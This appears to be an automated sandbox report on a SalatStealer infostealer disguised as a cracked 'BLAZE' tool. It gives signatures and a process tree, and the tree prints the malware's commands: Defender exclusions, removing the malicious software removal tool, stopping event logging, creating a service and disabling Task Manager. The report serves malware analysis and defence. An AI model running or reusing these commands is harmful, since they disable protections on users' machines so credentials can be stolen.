Resubmissions
09/08/2026, 12:39
260809-pvywps1vfy1009/08/2026, 11:52
260809-n17kcszyfs1009/08/2026, 09:27
260809-leqnlscp2w10Analysis
- max time kernel
79s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 09:27
General
- Target BLAZE FREE INTERNAL Cracked.exe
- Size 26.2MB
- Sample260809-leqnlscp2w
- SHA256 12b90ddb368ab4ffcc98171a59b8a19a07aeb6017b3ec08a06b3b1eecdd9fdd4
Score
10/10
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 55 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 46 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Power Settings 1 TTPs 64 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 12 IoCs
- Suspicious use of SetThreadContext 8 IoCs
- UPX packed file 62 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 16 IoCs
- Launches sc.exe 20 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 17 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 23 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "rabk"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "rabk" binpath= "C:\ProgramData\rabk\main.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Mozilla\conhost.exeC:\Users\Admin\AppData\Local\Mozilla\conhost.exe3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable5⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f5⤵
- Modifies registry key
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\conhost.exe"C:\Program Files (x86)\Microsoft\Edge\Application\conhost.exe" -4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"6⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart7⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart8⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 07⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 07⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 07⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 07⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog7⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"7⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"9⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"9⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"10⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart11⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart12⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 011⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 011⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 011⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 011⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog11⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"11⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"10⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"11⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"11⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"12⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"12⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"13⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"13⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"13⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"14⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"14⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"15⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force16⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart16⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart17⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 016⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 016⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 016⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 016⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog16⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"16⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"15⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"15⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"16⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"16⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"17⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"17⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"17⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"18⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"18⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"19⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force20⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart20⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart21⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 020⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog20⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"20⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"19⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"19⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"20⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"20⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"20⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"21⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"21⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"22⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"22⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"22⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"23⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"23⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"23⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"24⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force25⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart25⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart26⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 025⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 025⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 025⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 025⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV126⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog25⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"25⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"24⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"24⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"25⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"25⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"25⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"26⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"26⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"26⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"27⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"27⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"27⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"28⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"28⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"28⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"29⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force30⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart30⤵
- Executes a command shell one-liner
-
C:\Windows\System32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart31⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 030⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 030⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 030⤵
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 030⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog30⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "rabk"30⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"29⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"29⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"30⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"30⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"30⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"31⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"32⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"32⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"32⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"33⤵
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"33⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"C:\Users\Admin\AppData\Local\Temp\BLAZE FREE INTERNAL Cracked.exe"33⤵
-
C:\Users\Admin\AppData\Local\Temp\rabk.exe"C:\Users\Admin\AppData\Local\Temp\rabk.exe"34⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force35⤵
